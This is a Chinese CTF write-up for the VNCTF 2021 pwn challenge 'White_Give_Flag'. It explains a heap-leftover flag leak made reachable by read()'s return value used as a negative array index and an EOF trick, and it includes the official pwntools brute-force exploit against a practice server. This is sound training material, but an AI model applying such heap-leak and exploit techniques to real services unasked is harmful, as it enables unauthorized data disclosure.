公开群里有官方wp,简单记录一下自己的复现过程,跟着wp做了好久,只有这题理清楚了,这就是大二的师傅出的题嘛,tql
[VNCTF 2021]White_Give_Flag
-
例行检查,64位程序,保护全开
-
本地试运行一下,看着像堆
-
64位ida载入
main()
sub_E5A
qword_2010120数组中存放着5个字符串,对应菜单的5个选项。而且这个函数执行完后会在chunk中遗留flag的值
sub_F07
读取菜单选项的函数返回的是 read() 的返回值⽽不是 atoi() 的返回值,根据返回值打印
qword_202120 中的字符串 -
通过add函数,可以看到堆的指针存放在qword_202100中,qword_202120 上⽅是堆指针,我们通过puts(qword_202120[-1])来输出chunk[3]里的内容
-
malloc 随机 size 写 flag 时,size 的范围是 [0x300, 0x500]。add 到 chunk[3] 时申请⼀个在范围内的size,如果恰好是带有 flag 的 chunk size,就可以把这个 chunk 取出来,然后 edit 填充 0x10 个字
符, puts(qword_202120[-1]) 就能打印出 flag。
size 范围不⼤,可以爆破。
puts(qword_202120[-1]) 需要使 read() 返回 0,也就是读到 EOF。
可以 ctrl+d,虽然需要爆破,但是纯⼿动操作理论上可⾏(不建议使⽤)。
pwntools 可以使⽤ shutdown_raw(‘send’) 关闭管道的 send ⽅向,使远程 read() 读到 EOF,返回 0。
直接贴一下官方爆破的exp
from pwn import *
def menu(choice):
r.recvuntil('choice:')
r.sendline(choice)
def add(size):
menu('')
r.recvuntil('size:\n')
r.sendline(str(size))
def edit(index,data):
menu('111')
r.recvuntil('index:\n')
r.sendline(str(index))
r.recvuntil('Content:\n')
r.send(data)
def delete(index):
menu('11')
r.recvuntil('index:\n')
r.sendline(str(index))
def show(index):
menu('1')
while True:
r = remote("node4.buuoj.cn",39123)
add(0x10)
add(0x10)
add(0x10)
add(0x310)
edit(3,'x'*0x10)
r.recvuntil('choice:')
r.shutdown_raw('send')
flag = r.recvline()
log.info(flag)
if 'vnctf{' in flag or '}' in flag:
exit(0)
r.close()
sleep(1)